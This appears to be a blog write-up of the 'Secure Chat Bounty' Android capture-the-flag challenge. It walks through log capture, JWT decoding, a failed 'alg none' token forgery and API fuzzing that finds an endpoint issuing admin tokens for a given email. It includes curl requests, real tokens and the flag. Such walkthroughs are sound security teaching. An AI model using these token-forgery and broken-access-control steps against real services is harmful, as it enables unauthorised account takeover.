Post

Bitwall - Secure Chat Bounty

Bitwall - Secure Chat Bounty

Challenge Overview


Secure Chat Bounty is an android ctf challenge that involves exploiting an api endpoint to get the JWT token for admin. We start interacting with the application in an android emulator and capture the logs using logcat . On the logs we get the api endpoint that the application is communicating to and the http requests .
I initially went down a rabbit hole trying to exploit the token but upon fuzzing the api we get another endpoint that takes the email and on the response is the admin token.


Enumeration

Static analysis

We are given an android application SecureChat.apk that we can install on to our emulator and for my case will be using Genymotion, but before that we can read the source using a tool known as jadx which is a Command line and GUI tools for producing Java source code from Android Dex and Apk files.
From the AndroidManifest file we get the package name

1
package="com.bitwall.securechat"

We have these activities:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 <activity
            android:name="com.bitwall.securechat.LoginActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity
            android:name="com.bitwall.securechat.RegisterActivity"
            android:exported="false"/>
        <activity
            android:name="com.bitwall.securechat.MainActivity"
            android:exported="false"/>
  • An activity represents a single screen with a user interface,in-short Activity performs actions on the screen.

We do have some interesting functions on the MainActivity that we will get into later but before that lets launch the application to visualize the activities and interact with the application.

Dynamic Analysis

After installing and launching the application we get to a login screen and since we don’t have an account we can register one.
As we interact with the application it generates some logs and to view this logs we can use adb logcat .

  • Logcat is a command-line tool used to display system and application log messages on Android devices.

Logcat allows us to specify the process id and to get the pid we can use the package name and the ps command.

1
2
3
adb shell ps | grep com.bitwall.securechat
u0_a133        2962    404 12772428 143736 ep_poll   77d863dfa90a S com.bitwall.securechat

The process id is 2962

1
adb logcat --pid=2962

With that running we can go register an account and login.
Once the account is registered we are logged in and dropped to a chat bot AI assistant that we can interact with.

We do get an email account : admin@bitwall.co.ke

When we check our logcat we get this requests were made. Lets make them readable :)

  • Register

Request :

1
2
3
4
5
POST http://44.206.226.86:5000/api/register
Content-Type: application/json; charset=utf-8
Content-Length: 43
{"email":"pentester","password":"password"}

Response :

1
2
3
4
5
6
7
8
201 CREATED http://44.206.226.86:5000/api/register (486ms)
Server: gunicorn
Date: Mon, 05 May 2025 06:28:06 GMT
Connection: close
Content-Type: application/json
Content-Length: 267
Access-Control-Allow-Origin: *
 {"message":"User registered successfully!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiYTFiNDdjM2QtOWM4OS00MDQ3LWJlYmQtY2YzZmVhOWFjN2Q3IiwiZW1haWwiOiJwZW50ZXN0ZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc0NjUxMjg4Nn0.eHWWYR-mjdLZD4GNjtxNfFQs9sBxbcBOsuvXD7z1zFw"}
  • Get User info :

Request :

1
2
3
GET http://44.206.226.86:5000/api/user
x-access-token: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiYTFiNDdjM2QtOWM4OS00MDQ3LWJlYmQtY2YzZmVhOWFjN2Q3IiwiZW1haWwiOiJwZW50ZXN0ZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc0NjUxMjg4Nn0.eHWWYR-mjdLZD4GNjtxNfFQs9sBxbcBOsuvXD7z1zFw

Response :

1
2
3
4
5
6
7
8
200 OK http://44.206.226.86:5000/api/user (517ms)
Server: gunicorn
Date: Mon, 05 May 2025 06:28:06 GMT
Connection: close
Content-Type: application/json
Content-Length: 36
Access-Control-Allow-Origin: *
 {"email":"pentester","role":"user"}
  • Chat

Request

1
2
3
4
5
POST http://44.206.226.86:5000/api/chat
Content-Type: application/json; charset=utf-8
Content-Length: 19
x-access-token: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiYTFiNDdjM2QtOWM4OS00MDQ3LWJlYmQtY2YzZmVhOWFjN2Q3IiwiZW1haWwiOiJwZW50ZXN0ZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc0NjUxMjg4Nn0.eHWWYR-mjdLZD4GNjtxNfFQs9sBxbcBOsuvXD7z1zFw
{"message":"hello"}

Response :

1
2
3
4
5
6
7
8
200 OK http://44.206.226.86:5000/api/chat (469ms)
Server: gunicorn
Date: Mon, 05 May 2025 06:30:29 GMT
Connection: close
Content-Type: application/json
Content-Length: 50
Access-Control-Allow-Origin: *
{"response":"Hello! How can I assist you today?"}
  • Chat (get flag)

Request :

1
2
3
4
5
POST http://44.206.226.86:5000/api/chat
Content-Type: application/json; charset=utf-8
Content-Length: 18
x-access-token: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiYTFiNDdjM2QtOWM4OS00MDQ3LWJlYmQtY2YzZmVhOWFjN2Q3IiwiZW1haWwiOiJwZW50ZXN0ZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc0NjUxMjg4Nn0.eHWWYR-mjdLZD4GNjtxNfFQs9sBxbcBOsuvXD7z1zFw
{"message":"flag"}

Response :

1
2
3
4
5
6
7
8
9
200 OK http://44.206.226.86:5000/api/chat (446ms)
Server: gunicorn
Date: Mon, 05 May 2025 06:30:39 GMT
Connection: close
Content-Type: application/json
Content-Length: 68
Access-Control-Allow-Origin: *
{"response":"Sorry, only admin@bitwall.co.ke can access the flag."}

Understanding the Application Flow

From the logs we get that the application is reaching out to an api http://44.206.226.86:5000/api/.
The endpoints :

  • Register : api/register
  • login : api/login
  • User Info : api/user
  • chat bot : api/chat

When we hit register we get back an access token that is saved on the device .

1
2
3
4
5
6
7
8
9
10
11
12
vbox86p:/data/data/com.bitwall.securechat # ls
cache  code_cache  shared_prefs
vbox86p:/data/data/com.bitwall.securechat # cd shared_prefs/
vbox86p:/data/data/com.bitwall.securechat/shared_prefs # ls
SecureChat.xml
vbox86p:/data/data/com.bitwall.securechat/shared_prefs # cat SecureChat.xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="user_token">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiYTFiNDdjM2QtOWM4OS00MDQ3LWJlYmQtY2YzZmVhOWFjN2Q3IiwiZW1haWwiOiJwZW50ZXN0ZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc0NjUxMjg4Nn0.eHWWYR-mjdLZD4GNjtxNfFQs9sBxbcBOsuvXD7z1zFw</string>
</map>
vbox86p:/data/data/com.bitwall.securechat/shared_prefs # 

Decoding the token :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiYTFiNDdjM2QtOWM4OS00MDQ3LWJlYmQtY2YzZmVhOWFjN2Q3IiwiZW1haWwiOiJwZW50ZXN0ZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc0NjUxMjg4Nn0.eHWWYR-mjdLZD4GNjtxNfFQs9sBxbcBOsuvXD7z1zFw

...[snip]...

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] uuid = "a1b47c3d-9c89-4047-bebd-cf3fea9ac7d7"
[+] email = "pentester"
[+] role = "user"
[+] exp = 1746512886    ==> TIMESTAMP = 2025-05-06 09:28:06 (UTC)

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

The /api/chat take the token and the message and its response tells that we need to be admin thus our token should decode to :

1
2
[+] email = "admin@bitwall.co.ke"
[+] role = "admin"

Exploitation

The api endpoints and the jwt token raise the possibility of two potential attack vectors :

  • api exploitation - we look for an openapi or an endpoint that does not require authentication and exploit it .
  • JWT attacks Here we can tamper with the token values to craft one for the admin.

The JWT is easy and straight forward thus will start with it but leave a scan on the api endpoint just incase jwt doesn’t work.

JWT Attack

Here is the token we have :

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiYTFiNDdjM2QtOWM4OS00MDQ3LWJlYmQtY2YzZmVhOWFjN2Q3IiwiZW1haWwiOiJwZW50ZXN0ZXIiLCJyb2xlIjoidXNlciIsImV4cCI6MTc0NjUxMjg4Nn0.eHWWYR-mjdLZD4GNjtxNfFQs9sBxbcBOsuvXD7z1zFw

It decodes to :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] uuid = "a1b47c3d-9c89-4047-bebd-cf3fea9ac7d7"
[+] email = "pentester"
[+] role = "user"
[+] exp = 1746512886    ==> TIMESTAMP = 2025-05-06 09:28:06 (UTC)

----------------------

Here we can change the algorithm to none since we don’t have the secret for signing.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "none"
[+] typ = "JWT"

Token payload values:
[+] uuid = "a1b47c3d-9c89-4047-bebd-cf3fea9ac7d7"
[+] email = "admin@bitwall.co.ke"
[+] role = "admin"
[+] exp = 1746512886    ==> TIMESTAMP = 2025-05-06 09:28:06 (UTC)

----------------------

Now we try using the token to get the flag :

1
2
3
curl -X POST http://44.206.226.86:5000/api/chat   -H "Content-Type: application/json; charset=utf-8"   -H "x-access-token: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1dWlkIjoiYTFiNDdjM2QtOWM4OS00MDQ3LWJlYmQtY2YzZmVhOWFjN2Q3IiwiZW1haWwiOiJhZG1pbkBiaXR3YWxsLmNvLmtlIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzQ2NTEyODg2fQ."   -d '{"message":"flag"}'
{"message":"Token is invalid!"}

We get invalid token, I did try other attacks on the token but none worked.

API Exploitation

To start we only know of four api endpoints.
Fuzzing we do get another one.

1
2
3
4
5
6
7
8
9
10
feroxbuster -u http://44.206.226.86:5000/api/ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt

...[snip]...

405      GET        5l       20w      153c http://44.206.226.86:5000/api/register
401      GET        1l        3w       32c http://44.206.226.86:5000/api/user
405      GET        5l       20w      153c http://44.206.226.86:5000/api/chat
405      GET        5l       20w      153c http://44.206.226.86:5000/api/login
503      GET        1l        2w       33c http://44.206.226.86:5000/api/signup

We have signup

1
2
3
4
5
6
7
feroxbuster -u http://44.206.226.86:5000/api/signup -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt

...[snip]...

503      GET        1l        2w       33c http://44.206.226.86:5000/api/signup
405      GET        5l       20w      153c http://44.206.226.86:5000/api/signup/email
   

We try hitting the endpoint :

1
2
3
4
curl -X POST http://44.206.226.86:5000/api/signup/email   -H "Content-Type: application/json; charset=utf-8"  -d '{"message":"flag"}'
{"message":"Email is required!"}

We get the response that an email is required.
Since we know the admin email lets try it .

1
2
3
4
curl -X POST http://44.206.226.86:5000/api/signup/email   -H "Content-Type: application/json; charset=utf-8"  -d '{"email":"admin@bitwall.co.ke"}' 
{"message":"Welcome back, admin@bitwall.co.ke!"}

We do get the response but nothing much thus we add a -v flag to see the headers.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
curl -X POST http://44.206.226.86:5000/api/signup/email   -H "Content-Type: application/json; charset=utf-8"  -d '{"email":"admin@bitwall.co.ke"}' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 44.206.226.86:5000...
* Connected to 44.206.226.86 (44.206.226.86) port 5000
* using HTTP/1.x
> POST /api/signup/email HTTP/1.1
> Host: 44.206.226.86:5000
> User-Agent: curl/8.12.1
> Accept: */*
> Content-Type: application/json; charset=utf-8
> Content-Length: 31
> 
* upload completely sent off: 31 bytes
< HTTP/1.1 200 OK
< Server: gunicorn
< Date: Mon, 05 May 2025 08:02:52 GMT
< Connection: close
< Content-Type: application/json
< Content-Length: 49
< Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDAwIiwiZW1haWwiOiJhZG1pbkBiaXR3YWxsLmNvLmtlIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzQ2NTE4NTcyfQ.Hy6o_SxuKK50W5KotrPltTDzGXBMtz0zYF9T1plANWs; Secure; HttpOnly; Path=/
< Access-Control-Allow-Origin: *
< 
{"message":"Welcome back, admin@bitwall.co.ke!"}
* shutting down connection #0

We get a token and upon decoding :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDAwIiwiZW1haWwiOiJhZG1pbkBiaXR3YWxsLmNvLmtlIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzQ2NTE4NTcyfQ.Hy6o_SxuKK50W5KotrPltTDzGXBMtz0zYF9T1plANWs

...[snip]...

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] uuid = "00000000-0000-0000-0000-000000000000"
[+] email = "admin@bitwall.co.ke"
[+] role = "admin"
[+] exp = 1746518572    ==> TIMESTAMP = 2025-05-06 11:02:52 (UTC)

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

Bravooo!!!
Now we have the admin token and we can request the flag.

1
2
3
curl -X POST http://44.206.226.86:5000/api/chat   -H "Content-Type: application/json; charset=utf-8"   -H "x-access-token: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1dWlkIjoiMDAwMDAwMDAtMDAwMC0wMDAwLTAwMDAtMDAwMDAwMDAwMDAwIiwiZW1haWwiOiJhZG1pbkBiaXR3YWxsLmNvLmtlIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzQ2NTE4NTcyfQ.Hy6o_SxuKK50W5KotrPltTDzGXBMtz0zYF9T1plANWs"   -d '{"message":"flag"}'
{"response":"Here is your flag: BitCTF{Br0k3n_4cc3ss_C0ntr0l_L34ds_T0_Pr1v1l3ge_3sc4l4t10n}"}

The flag is : BitCTF{Br0k3n_4cc3ss_C0ntr0l_L34ds_T0_Pr1v1l3ge_3sc4l4t10n}

This post is licensed under CC BY 4.0 by the author.